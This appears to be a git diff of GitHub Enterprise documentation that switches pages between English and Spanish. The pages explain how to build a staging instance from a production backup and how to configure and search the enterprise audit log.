Para probar exhaustivamente {% data variables.product.product_name %} y volver a crear un entorno que sea lo más parecido posible al entorno de producción, ten en cuenta los sistemas externos que interactúan con la instancia. Por ejemplo, puedes probar lo siguiente en el entorno de ensayo.
|
||||
|
||||
- Authentication, especially if you use an external authentication provider like SAML
|
||||
- Integration with an external ticketing system
|
||||
- Integration with a continuous integration server
|
||||
- External scripts or software that use the {% data variables.product.prodname_enterprise_api %}
|
||||
- External SMTP server for email notifications
|
||||
- Autenticación, especialmente si usas un proveedor de autenticación externo como SAML
|
||||
- La integración con un sistema externo de vales
|
||||
- La integración con un servidor de integración continua
|
||||
- Los scripts externos o el software que usan {% data variables.product.prodname_enterprise_api %}
|
||||
- El servidor externo SMTP para notificaciones por correo electrónico
|
||||
|
||||
## Setting up a staging instance
|
||||
## Configurar una instancia de preparación
|
||||
|
||||
You can set up a staging instance from scratch and configure the instance however you like. For more information, see "[Setting up a {% data variables.product.product_name %} instance](/admin/installation/setting-up-a-github-enterprise-server-instance)" and "[Configuring your enterprise](/admin/configuration/configuring-your-enterprise)."
|
||||
Puedes preparar una instancia de almacenamiento provisional desde cero y configurarla instancia como quieras. Para obtener más información, consulta "[Configuración de una instancia de {% data variables.product.product_name %}](/admin/installation/setting-up-a-github-enterprise-server-instance) y "[Configuración de tu empresa](/admin/configuration/configuring-your-enterprise)".
|
||||
|
||||
Alternatively, you can create a staging instance that reflects your production configuration by restoring a backup of your production instance to the staging instance.
|
||||
Como alternativa, puedes crear una instancia de almacenamiento provisional que refleje la configuración de producción, restaurando ara ello una copia de seguridad de la instancia de producción en la instancia de pruebas.
|
||||
|
||||
1. [Back up your production instance](#1-back-up-your-production-instance).
|
||||
2. [Set up a staging instance](#2-set-up-a-staging-instance).
|
||||
3. [Configure {% data variables.product.prodname_actions %}](#3-configure-github-actions).
|
||||
4. [Configure {% data variables.product.prodname_registry %}](#4-configure-github-packages).
|
||||
5. [Restore your production backup](#5-restore-your-production-backup).
|
||||
6. [Review the instance's configuration](#6-review-the-instances-configuration).
|
||||
7. [Apply the instance's configuration](#7-apply-the-instances-configuration).
|
||||
1. [Hacer una copia de seguridad de la instancia de producción](#1-back-up-your-production-instance)
|
||||
2. [Configurar una instancia de almacenamiento provisional](#2-set-up-a-staging-instance)
|
||||
3. [Configurar {% data variables.product.prodname_actions %}](#3-configure-github-actions)
|
||||
4. [Configurar {% data variables.product.prodname_registry %}](#4-configure-github-packages)
|
||||
5. [Restaurar la copia de seguridad de producción](#5-restore-your-production-backup)
|
||||
6. [Revisar la configuración de la instancia](#6-review-the-instances-configuration)
|
||||
7. [Aplicar la configuración de la instancia](#7-apply-the-instances-configuration)
|
||||
|
||||
### 1. Back up your production instance
|
||||
### 1. Hacer una copia de seguridad de la instancia de producción
|
||||
|
||||
If you want to test changes on an instance that contains the same data and configuration as your production instance, back up the data and configuration from the production instance using {% data variables.product.prodname_enterprise_backup_utilities %}. For more information, see "[Configuring backups on your appliance](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance)."
|
||||
Si quieres probar los cambios en una instancia que contiene los mismos datos y configuración que la instancia de producción, haz una copia de seguridad de los datos y la configuración de la instancia de producción mediante {% data variables.product.prodname_enterprise_backup_utilities %}. Para más información, vea "[Configuración de copias de seguridad en el dispositivo](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance)".
|
||||
|
||||
{% warning %}
|
||||
|
||||
**Warning**: If you use {% data variables.product.prodname_actions %} or {% data variables.product.prodname_registry %} in production, your backup will include your production configuration for external storage. To avoid potential loss of data by writing to your production storage from your staging instance, you must configure each feature in steps 3 and 4 before you restore your backup.
|
||||
**Advertencia**: Si usas {% data variables.product.prodname_actions %} o {% data variables.product.prodname_registry %} en producción, la copia de seguridad incluirá la configuración de producción del almacenamiento externo. Para evitar una posible pérdida de datos al escribir en el almacenamiento de producción desde la instancia de almacenamiento provisional, debes configurar cada característica en los pasos 3 y 4 antes de restaurar la copia de seguridad.
|
||||
|
||||
{% endwarning %}
|
||||
|
||||
### 2. Set up a staging instance
|
||||
### 2. Configurar una instancia de almacenamiento provisional
|
||||
|
||||
Set up a new instance to act as your staging environment. You can use the same guides for provisioning and installing your staging instance as you did for your production instance. For more information, see "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/enterprise/admin/guides/installation/setting-up-a-github-enterprise-server-instance/)."
|
||||
Configura una nueva instancia para que actúe como tu entorno de preparación. Puedes utilizar las mismas guías para aprovisionar e instalar tu instancia de preparación como hiciste para tu instancia de producción. Para más información, vea "[Configuración de una instancia de {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/setting-up-a-github-enterprise-server-instance/)".
|
||||
|
||||
If you plan to restore a backup of your production instance, continue to the next step. Alternatively, you can configure the instance manually and skip the following steps.
|
||||
Si tienes previsto restaurar una copia de seguridad de la instancia de producción, avanza al siguiente paso. También puedes configurar la instancia manualmente y omitir los pasos siguientes.
|
||||
|
||||
### 3. Configure {% data variables.product.prodname_actions %}
|
||||
### 3. Configurar {% data variables.product.prodname_actions %}
|
||||
|
||||
Optionally, if you use {% data variables.product.prodname_actions %} on your production instance, configure the feature on the staging instance before restoring your production backup. If you don't use {% data variables.product.prodname_actions %}, skip to "[4. Configure {% data variables.product.prodname_registry %}](#4-configure-github-packages)."
|
||||
Opcionalmente, si usas {% data variables.product.prodname_actions %} en la instancia de producción, configura la característica en la instancia de almacenamiento provisional antes de restaurar la copia de seguridad de producción. Si no usas {% data variables.product.prodname_actions %}, ve directamente a "[4. Configurar {% data variables.product.prodname_registry %}](#4-configure-github-packages)."
|
||||
|
||||
{% warning %}
|
||||
|
||||
**Warning**: If you don't configure {% data variables.product.prodname_actions %} on the staging instance before restoring your production backup, your staging instance will use your production instance's external storage, which could result in loss of data. We strongly recommended that you use different external storage for your staging instance. For more information, see "[Using a staging environment](/admin/github-actions/advanced-configuration-and-troubleshooting/using-a-staging-environment)."
|
||||
**Advertencia**: Si no configuras {% data variables.product.prodname_actions %} en la instancia de almacenamiento provisional antes de restaurar la copia de seguridad de producción, la instancia de almacenamiento provisional usará el almacenamiento externo de la instancia de producción, lo que podría suponer una pérdida de datos. Se recomienda encarecidamente usar un almacenamiento externo distinto para la instancia de almacenamiento provisional. Para obtener más información, consulta «[Uso de un entorno de ensayo](/admin/github-actions/advanced-configuration-and-troubleshooting/using-a-staging-environment)».
|
||||
|
||||
{% endwarning %}
|
||||
|
||||
{% data reusables.enterprise_installation.ssh-into-staging-instance %}
|
||||
1. To configure the staging instance to use an external storage provider for {% data variables.product.prodname_actions %}, enter one of the following commands.
|
||||
{% indented_data_reference reusables.actions.configure-storage-provider-platform-commands spaces=3 %}
|
||||
{% data reusables.actions.configure-storage-provider %}
|
||||
1. To prepare to enable {% data variables.product.prodname_actions %} on the staging instance, enter the following command.
|
||||
1. Escribe uno de los siguientes comandos para configurar la instancia de almacenamiento provisional para que use un proveedor de almacenamiento externo de {% data variables.product.prodname_actions %}.
|
||||
{% indented_data_reference reusables.actions.configure-storage-provider-platform-commands spaces=3 %} {% data reusables.actions.configure-storage-provider %}
|
||||
1. Escribe el siguiente comando para prepararlo todo para habilitar {% data variables.product.prodname_actions %} en la instancia de almacenamiento provisional.
|
||||
|
||||
```shell{:copy}
|
||||
ghe-config app.actions.enabled true
|
||||
```
|
||||
|
||||
### 4. Configure {% data variables.product.prodname_registry %}
|
||||
### 4. Configurar {% data variables.product.prodname_registry %}
|
||||
|
||||
Optionally, if you use {% data variables.product.prodname_registry %} on your production instance, configure the feature on the staging instance before restoring your production backup. If you don't use {% data variables.product.prodname_registry %}, skip to "[5. Restore your production backup](#5-restore-your-production-backup)."
|
||||
Opcionalmente, si usas {% data variables.product.prodname_registry %} en la instancia de producción, configura la característica en la instancia de almacenamiento provisional antes de restaurar la copia de seguridad de producción. Si no usas {% data variables.product.prodname_registry %}, ve a "[5. Restaurar la copia de seguridad de producción](#5-restore-your-production-backup)".
|
||||
|
||||
{% warning %}
|
||||
|
||||
**Warning**: If you don't configure {% data variables.product.prodname_registry %} on the staging instance before restoring your production backup, your staging instance will use your production instance's external storage, which could result in loss of data. We strongly recommended that you use different external storage for your staging instance.
|
||||
**Advertencia**: Si no configuras {% data variables.product.prodname_registry %} en la instancia de almacenamiento provisional antes de restaurar la copia de seguridad de producción, la instancia de almacenamiento provisional usará el almacenamiento externo de la instancia de producción, lo que podría suponer una pérdida de datos. Se recomienda encarecidamente usar un almacenamiento externo distinto para la instancia de almacenamiento provisional.
|
||||
|
||||
{% endwarning %}
|
||||
|
||||
1. Review the backup you will restore to the staging instance.
|
||||
- If you took the backup with {% data variables.product.prodname_enterprise_backup_utilities %} 3.5 or later, the backup includes the configuration for {% data variables.product.prodname_registry %}. Continue to the next step.
|
||||
- If you took the backup with {% data variables.product.prodname_enterprise_backup_utilities %} 3.4 or earlier, configure {% data variables.product.prodname_registry %} on the staging instance. For more information, see "[Getting started with {% data variables.product.prodname_registry %} for your enterprise](/admin/packages/getting-started-with-github-packages-for-your-enterprise)."
|
||||
1. Revisa la copia de seguridad que vas a restaurar en la instancia de almacenamiento provisional.
|
||||
- Si has hecho la copia de seguridad con {% data variables.product.prodname_enterprise_backup_utilities %} 3.5 o una versión posterior, la copia de seguridad incluye la configuración de {% data variables.product.prodname_registry %}. Continúe con el paso siguiente.
|
||||
- Si has hecho la copia de seguridad con {% data variables.product.prodname_enterprise_backup_utilities %} 3.4 o una versión anterior, configura {% data variables.product.prodname_registry %} en la instancia de almacenamiento provisional. Para obtener más información, consulta "[Introducción a {% data variables.product.prodname_registry %} para tu empresa](/admin/packages/getting-started-with-github-packages-for-your-enterprise)".
|
||||
{% data reusables.enterprise_installation.ssh-into-staging-instance %}
|
||||
1. Configure the external storage connection by entering the following commands, replacing the placeholder values with actual values for your connection.
|
||||
1. Configura la conexión de almacenamiento externo con los comandos siguientes, reemplazando los valores de marcador de posición por los valores reales de la conexión.
|
||||
- Azure Blob Storage:
|
||||
|
||||
```shell{:copy}
|
||||
@@ -118,40 +122,40 @@ Optionally, if you use {% data variables.product.prodname_registry %} on your pr
|
||||
ghe-config secrets.packages.aws-access-key "S3 ACCESS KEY ID"
|
||||
ghe-config secrets.packages.aws-secret-key "S3 ACCESS SECRET"
|
||||
```
|
||||
1. To prepare to enable {% data variables.product.prodname_registry %} on the staging instance, enter the following command.
|
||||
1. Escribe el siguiente comando para prepararlo todo para habilitar {% data variables.product.prodname_registry %} en la instancia de almacenamiento provisional.
|
||||
|
||||
```shell{:copy}
|
||||
ghe-config app.packages.enabled true
|
||||
```
|
||||
|
||||
### 5. Restore your production backup
|
||||
### 5. Restaurar la copia de seguridad de producción
|
||||
|
||||
Use the `ghe-restore` command to restore the rest of the data from the backup. For more information, see "[Restoring a backup](/admin/configuration/configuring-backups-on-your-appliance#restoring-a-backup)."
|
||||
Usa el comando `ghe-restore` para restaurar el resto de los datos de la copia de seguridad. Para más información, vea "[Restauración de una copia de seguridad](/admin/configuration/configuring-backups-on-your-appliance#restoring-a-backup)".
|
||||
|
||||
If the staging instance is already configured and you want to overwrite settings, certificate, and license data, add the `-c` option to the command. For more information about the option, see [Using the backup and restore commands](https://github.com/github/backup-utils/blob/master/docs/usage.md#restoring-settings-tls-certificate-and-license) in the {% data variables.product.prodname_enterprise_backup_utilities %} documentation.
|
||||
Si la instancia de almacenamiento provisional ya está configurada y quieres sobrescribir la configuración, el certificado y los datos de licencia, agrega la opción `-c` al comando. Para obtener más información sobre esta opción, consulta [Uso de los comandos de copia de seguridad y restauración](https://github.com/github/backup-utils/blob/master/docs/usage.md#restoring-settings-tls-certificate-and-license) en la documentación de {% data variables.product.prodname_enterprise_backup_utilities %}.
|
||||
|
||||
### 6. Review the instance's configuration
|
||||
### 6. Revisar la configuración de la instancia
|
||||
|
||||
To access the staging instance using the same hostname, update your local hosts file to resolve the staging instance's hostname by IP address by editing the `/etc/hosts` file in macOS or Linux, or the `C:\Windows\system32\drivers\etc` file in Windows.
|
||||
Para acceder a la instancia de almacenamiento provisional con el mismo nombre de host, actualiza el archivo hosts local para resolver el nombre de host de la instancia de almacenamiento provisional mediante la dirección IP; para ello, edita el archivo `/etc/hosts` en macOS o Linux, o el archivo `C:\Windows\system32\drivers\etc` en Windows.
|
||||
|
||||
{% note %}
|
||||
|
||||
**Note**: Your staging instance must be accessible from the same hostname as your production instance. Changing the hostname for {% data variables.location.product_location %} is not supported. For more information, see "[Configuring a hostname](/admin/configuration/configuring-network-settings/configuring-a-hostname)."
|
||||
**Nota**: La instancia de almacenamiento provisional debe ser accesible desde el mismo nombre de host que la instancia de producción. El nombre de host de {% data variables.location.product_location %} no se puede cambiar. Para más información, vea "[Configuración de un nombre de host](/admin/configuration/configuring-network-settings/configuring-a-hostname)".
|
||||
|
||||
{% endnote %}
|
||||
|
||||
Then, review the staging instance's configuration in the {% data variables.enterprise.management_console %}. For more information, see "[Accessing the {% data variables.enterprise.management_console %}](/admin/configuration/configuring-your-enterprise/accessing-the-management-console)."
|
||||
Tras ello, revisa la configuración de la instancia de almacenamiento provisional en la {% data variables.enterprise.management_console %}. Para obtener más información, consulta "[Acceso a la {% data variables.enterprise.management_console %}](/admin/configuration/configuring-your-enterprise/accessing-the-management-console)."
|
||||
|
||||
{% warning %}
|
||||
|
||||
**Warning**: If you configured {% data variables.product.prodname_actions %} or {% data variables.product.prodname_registry %} for the staging instance, to avoid overwriting production data, ensure that the external storage configuration in the {% data variables.enterprise.management_console %} does not match your production instance.
|
||||
**Advertencia**: Si has configurado {% data variables.product.prodname_actions %} o {% data variables.product.prodname_registry %} para la instancia de almacenamiento provisional, si quieres evitar que los datos de producción se sobrescriban, asegúrate de que la configuración de almacenamiento externo en la {% data variables.enterprise.management_console %} no coincide con la de la instancia de producción.
|
||||
|
||||
{% endwarning %}
|
||||
|
||||
### 7. Apply the instance's configuration
|
||||
### 7. Aplicar la configuración de la instancia
|
||||
|
||||
To apply the configuration from the {% data variables.enterprise.management_console %}, click **Save settings**.
|
||||
Para aplicar la configuración desde la {% data variables.enterprise.management_console %}, haz clic en **Guardar configuración**.
|
||||
|
||||
## Further reading
|
||||
## Información adicional
|
||||
|
||||
- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"
|
||||
- «[Acerca de las actualizaciones a nuevas versiones](/admin/overview/about-upgrades-to-new-releases)»
|
||||
|
||||
@@ -35,7 +35,8 @@ In addition to viewing your audit log, you can monitor activity in your enterpri
|
||||
|
||||
As an enterprise owner{% ifversion ghes %} or site administrator{% endif %}, you can interact with the audit log data for your enterprise in several ways:
|
||||
- You can view the audit log for your enterprise. For more information, see "[Accessing the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise)."
|
||||
- You can search the audit log for specific events{% ifversion ghec %} and export audit log data{% endif %}. For more information, see "[Searching the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise)"{% ifversion ghec %} and "[Exporting the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/exporting-audit-log-activity-for-your-enterprise)"{% endif %}.{% ifversion audit-data-retention-tab %}
|
||||
- You can search the audit log for specific events{% ifversion ghec %} and export audit log data{% endif %}. For more information, see "[Searching the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise)"{% ifversion ghec %} and "[Exporting the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/exporting-audit-log-activity-for-your-enterprise)"{% endif %}.{% ifversion token-audit-log %}
|
||||
- You can identify all events that were performed by a specific access token. For more information, see "[Identifying audit log events performed by an access token](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/identifying-audit-log-events-performed-by-an-access-token)."{% endif %}{% ifversion audit-data-retention-tab %}
|
||||
- You can configure settings, such as the retention period for audit log events{% ifversion enable-git-events %} and whether Git events are included{% endif %}. For more information, see "[Configuring the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/configuring-the-audit-log-for-your-enterprise)."{% endif %}
|
||||
{%- ifversion enterprise-audit-log-ip-addresses %}
|
||||
- You can display the IP address associated with events in the audit log. For more information, see "[Displaying IP addresses in the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/displaying-ip-addresses-in-the-audit-log-for-your-enterprise)."
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
title: Configuring the audit log for your enterprise
|
||||
intro: You can configure settings for your enterprise's audit log.
|
||||
title: Configuración del registro de auditoría de la empresa
|
||||
intro: Puedes configurar las opciones del registro de auditoría de la empresa.
|
||||
shortTitle: Configure audit logs
|
||||
permissions: Enterprise owners can configure the audit log.
|
||||
versions:
|
||||
@@ -10,47 +10,45 @@ topics:
|
||||
- Auditing
|
||||
- Enterprise
|
||||
- Logging
|
||||
ms.openlocfilehash: f624607d5729d32d836efedf1fa355a96489a175
|
||||
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 10/25/2022
|
||||
ms.locfileid: '148106569'
|
||||
---
|
||||
## Acerca de la configuración del registro de auditoría
|
||||
|
||||
## About audit log configuration
|
||||
Puedes configurar un período de retención para los datos del registro de auditoría y ver los detalles del almacenamiento de índices.
|
||||
|
||||
You can configure a retention period for audit log data and see index storage details.
|
||||
|
||||
{% ifversion enable-git-events %}
|
||||
After you configure a retention period, you can enable or disable Git-related events from appearing in the audit log.
|
||||
{% ifversion enable-git-events %} Después de configurar un período de retención, puedes habilitar o deshabilitar que los eventos relacionados con Git aparezcan en el registro de auditoría.
|
||||
{% endif %}
|
||||
|
||||
## Configuring a retention period for audit log data
|
||||
## Configuración de un período de retención para los datos del registro de auditoría
|
||||
|
||||
You can configure a retention period for audit log data for {% data variables.location.product_location %}. Data that exceeds the period you configure will be permanently removed from disk.
|
||||
Puedes configurar un período de retención de los datos del registro de auditoría de {% data variables.location.product_location %}. Los datos que superen el período que configures se quitarán permanentemente del disco.
|
||||
|
||||
{% data reusables.enterprise-accounts.access-enterprise %}
|
||||
{% data reusables.enterprise-accounts.settings-tab %}
|
||||
{% data reusables.enterprise-accounts.audit-log-tab %}
|
||||
{% data reusables.audit_log.audit-data-retention-tab %}
|
||||
1. Under "Configure audit log retention settings", select the dropdown menu and click a retention period.
|
||||
{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.audit-log-tab %} {% data reusables.audit_log.audit-data-retention-tab %}
|
||||
1. En "Configurar la configuración de retención del registro de auditoría", selecciona el menú desplegable y haz clic en un período de retención.
|
||||
|
||||
|
||||
1. Click **Save**.
|
||||
|
||||
1. Haga clic en **Save**(Guardar).
|
||||
|
||||
{% ifversion enable-git-events %}
|
||||
## Managing Git events in the audit log
|
||||
## Administración de eventos de Git en el registro de auditoría
|
||||
|
||||
You can enable or disable Git-related events, such as `git.clone` and `git.push`, from appearing in your audit log. For a list of the Git events are are logged, see "[Audit log events for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#git-category-actions)."
|
||||
Puedes habilitar o deshabilitar eventos relacionados con Git, como `git.clone` y `git.push`, para que aparezcan en el registro de auditoría. Para obtener una lista de los eventos de Git, consulta "[Eventos de registro de auditoría para la empresa](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#git-category-actions)".
|
||||
|
||||
If you do enable Git events, due to the large number of Git events that are logged, we recommend monitoring your instance's file storage and reviewing your related alert configurations. For more information, see "[Monitoring storage](/admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds#monitoring-storage)."
|
||||
Si habilitas los eventos de Git, debido al gran número que se registran, se recomienda supervisar el almacenamiento de archivos de la instancia y revisar las configuraciones de alerta relacionadas. Para más información, consulta "[Supervisión del almacenamiento](/admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds#monitoring-storage)".
|
||||
|
||||
Before you can enable Git events in the audit log, you must configure a retention period for audit log data other than "infinite." For more information, see "[Configuring a retention period for audit log data](#configuring-a-retention-period-for-audit-log-data)."
|
||||
Para poder habilitar eventos de Git en el registro de auditoría, debes configurar un período de retención para los datos del registro de auditoría distinto a "infinito". Para más información, consulta "[Configuración de un período de retención para los datos del registro de auditoría](#configuring-a-retention-period-for-audit-log-data)".
|
||||
|
||||
{% data reusables.audit_log.git-events-not-in-search-results %}
|
||||
|
||||
{% data reusables.enterprise-accounts.access-enterprise %}
|
||||
{% data reusables.enterprise-accounts.settings-tab %}
|
||||
{% data reusables.enterprise-accounts.audit-log-tab %}
|
||||
{% data reusables.audit_log.audit-data-retention-tab %}
|
||||
1. Under "Git event opt-in", select or deselect **Enable git events in the audit-log**.
|
||||
{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.audit-log-tab %} {% data reusables.audit_log.audit-data-retention-tab %}
|
||||
1. En "Participación en eventos de Git", selecciona o anula la selección de **Habilitar eventos de Git en el registro de auditoría**.
|
||||
|
||||
|
||||
1. Click **Save**.
|
||||
|
||||
1. Haga clic en **Save**(Guardar).
|
||||
|
||||
{% endif %}
|
||||
|
||||
@@ -14,15 +14,16 @@ children:
|
||||
- /configuring-the-audit-log-for-your-enterprise
|
||||
- /displaying-ip-addresses-in-the-audit-log-for-your-enterprise
|
||||
- /searching-the-audit-log-for-your-enterprise
|
||||
- /identifying-audit-log-events-performed-by-an-access-token
|
||||
- /exporting-audit-log-activity-for-your-enterprise
|
||||
- /streaming-the-audit-log-for-your-enterprise
|
||||
- /using-the-audit-log-api-for-your-enterprise
|
||||
- /audit-log-events-for-your-enterprise
|
||||
ms.openlocfilehash: 8724cfa0bb5b5b98e209981cd717ab4a5b17e712
|
||||
ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
|
||||
ms.openlocfilehash: c7e0a9231e74b94f80bb4048d9854cdade2f556a
|
||||
ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 09/05/2022
|
||||
ms.locfileid: '147424804'
|
||||
ms.lasthandoff: 11/09/2022
|
||||
ms.locfileid: '148159803'
|
||||
---
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
title: Búsqueda en el registro de auditoría de la empresa
|
||||
intro: Puedes buscar una lista extensa de acciones auditadas en tu empresa.
|
||||
title: Searching the audit log for your enterprise
|
||||
intro: You can search an extensive list of audited actions in your enterprise.
|
||||
shortTitle: Search audit logs
|
||||
permissions: 'Enterprise owners {% ifversion ghes %}and site administrators {% endif %}can search the audit log.'
|
||||
redirect_from:
|
||||
@@ -19,78 +19,76 @@ topics:
|
||||
- Enterprise
|
||||
- Logging
|
||||
miniTocMaxHeadingLevel: 3
|
||||
ms.openlocfilehash: 6289b83d40aecf5208ae377be953ca65baba4a7d
|
||||
ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 09/10/2022
|
||||
ms.locfileid: '147879430'
|
||||
---
|
||||
## Acerca de la búsqueda en el registro de auditoría de empresa
|
||||
|
||||
Puede buscar en el registro de auditoría de la empresa directamente desde la interfaz de usuario mediante la lista desplegable **Filtros** o si escribe una consulta de búsqueda.
|
||||
## About search for the enterprise audit log
|
||||
|
||||
|
||||
You can search your enterprise audit log directly from the user interface by using the **Filters** dropdown, or by typing a search query.
|
||||
|
||||
Para más información sobre cómo ver el registro de auditoría de la empresa, vea "[Acceso al registro de auditoría de la empresa](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise)".
|
||||
|
||||
|
||||
For more information about viewing your enterprise audit log, see "[Accessing the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise)."
|
||||
|
||||
{% data reusables.audit_log.git-events-not-in-search-results %}
|
||||
|
||||
También puede usar la API para recuperar eventos de registro de auditoría. Para más información, vea "[Uso de la API de registro de auditoría para la empresa](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise)".
|
||||
You can also use the API to retrieve audit log events. For more information, see "[Using the audit log API for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise)."
|
||||
|
||||
No puedes buscar entradas mediante texto. Sin embargo, puedes construir consultas de búsqueda utilizando una variedad de filtros. Muchos operadores que se utilizan cuando se consulta el registro, tales como `-`, `>` o `<`, coinciden con el mismo formato de búsqueda en {% data variables.product.product_name %}. Para más información, vea "[Búsqueda en {% data variables.product.prodname_dotcom %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)".
|
||||
You cannot search for entries using text. You can, however, construct search queries using a variety of filters. Many operators used when querying the log, such as `-`, `>`, or `<`, match the same format as searching across {% data variables.product.product_name %}. For more information, see "[Searching on {% data variables.product.prodname_dotcom %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)."
|
||||
|
||||
{% note %}
|
||||
|
||||
**Nota**: {% data reusables.audit_log.retention-periods %}
|
||||
**Note**: {% data reusables.audit_log.retention-periods %}
|
||||
|
||||
{% endnote %}
|
||||
|
||||
## Filtros de consulta de búsqueda
|
||||
## Search query filters
|
||||
|
||||
Filter| Descripción
|
||||
Filter| Description
|
||||
--------------:| -----------
|
||||
`Yesterday's activity` | Todas las acciones creadas en el último día.
|
||||
`Enterprise account management` | Todas las acciones de la categoría `business`.
|
||||
`Organization membership` | Todas las acciones para cuando se ha invitado a un nuevo usuario a unirse a una organización.
|
||||
`Team management` | Todas las acciones relacionadas con la administración de equipos.<br/>- Cuando se ha agregado o quitado una cuenta de usuario o un repositorio de un equipo<br/>- Cuando un mantenedor de equipo se ha promocionado o degradado<br/>- Cuando se ha eliminado un equipo
|
||||
`Repository management` | Todas las acciones para la administración de repositorios.<br/>- Cuando se ha creado o eliminado un repositorio<br/>- Cuando se ha cambiado la visibilidad del repositorio<br/>- Cuando se ha agregado o quitado un equipo de un repositorio{% ifversion ghec %}
|
||||
`Billing updates` | Todas las acciones relacionadas con la forma en que la empresa paga por {% data variables.product.prodname_dotcom %} y con cuándo se ha cambiado la dirección de correo electrónico de facturación.{% endif %}
|
||||
`Hook activity` | Todas las acciones de webhooks y enlaces de recepción previa.
|
||||
`Security management` | Todas las acciones relacionadas con las claves SSH, las claves de implementación, las claves de seguridad, 2FA y la autorización de credenciales de inicio de sesión único de SAML y las alertas de vulnerabilidades para los repositorios.
|
||||
`Yesterday's activity` | All actions created in the past day.
|
||||
`Enterprise account management` | All actions in the `business` category.
|
||||
`Organization membership` | All actions for when a new user was invited to join an organization.
|
||||
`Team management` | All actions related to team management.<br/>- When a user account or repository was added or removed from a team<br/>- When a team maintainer was promoted or demoted<br/>- When a team was deleted
|
||||
`Repository management` | All actions for repository management.<br/>- When a repository was created or deleted<br/>- When the repository visibility was changed<br/>- When a team was added or removed from a repository{% ifversion ghec %}
|
||||
`Billing updates` | All actions concerning how your enterprise pays for {% data variables.product.prodname_dotcom %} and for when your billing email address was changed.{% endif %}
|
||||
`Hook activity` | All actions for webhooks and pre-receive hooks.
|
||||
`Security management` | All actions concerning SSH keys, deploy keys, security keys, 2FA, and SAML single sign-on credential authorization, and vulnerability alerts for repositories.
|
||||
|
||||
## Sintaxis de la consulta de búsqueda
|
||||
## Search query syntax
|
||||
|
||||
Puede redactar una consulta de búsqueda de uno o más pares `key:value` separados por los operadores lógicos AND/OR. Por ejemplo, para ver todas las acciones que han afectado al repositorio `octocat/Spoon-Knife` desde principios de 2017:
|
||||
You can compose a search query from one or more `key:value` pairs, separated by AND/OR logical operators. For example, to see all actions that have affected the repository `octocat/Spoon-Knife` since the beginning of 2017:
|
||||
|
||||
`repo:"octocat/Spoon-Knife" AND created:>=2017-01-01`
|
||||
|
||||
Los pares `key:value` que se pueden usar en una consulta de búsqueda son los siguientes:
|
||||
The `key:value` pairs that can be used in a search query are:
|
||||
|
||||
Clave | Value
|
||||
Key | Value
|
||||
--------------:| --------------------------------------------------------
|
||||
`actor_id` | ID de la cuenta de usuario que inició la acción
|
||||
`actor` | Nombre de la cuenta de usuario que inició la acción
|
||||
`oauth_app_id` | ID de la aplicación OAuth asociada con la acción
|
||||
`action` | Nombre de la acción auditada
|
||||
`user_id` | ID del usuario afectado por la acción
|
||||
`user` | Nombre del usuario afectado por la acción
|
||||
`repo_id` | ID del repositorio afectado por la acción (si corresponde)
|
||||
`repo` | Nombre del repositorio afectado por la acción (si corresponde)
|
||||
`actor_ip` | Dirección IP desde donde se inició la acción
|
||||
`created` | Hora a la que se ha producido la acción{% ifversion ghes %}. Si consulta el registro de auditoría desde el panel de administración del sitio, use `created_at` en su lugar{% endif %}
|
||||
`from` | Vista desde donde se inició la acción
|
||||
`note` | Información variada de evento específico (en texto simple o en formato JSON)
|
||||
`org` | Nombre de la organización afectada por la acción (si corresponde)
|
||||
`org_id` | ID de la organización afectada por la acción (si corresponde)
|
||||
`business` | Nombre de la empresa afectada por la acción (si procede)
|
||||
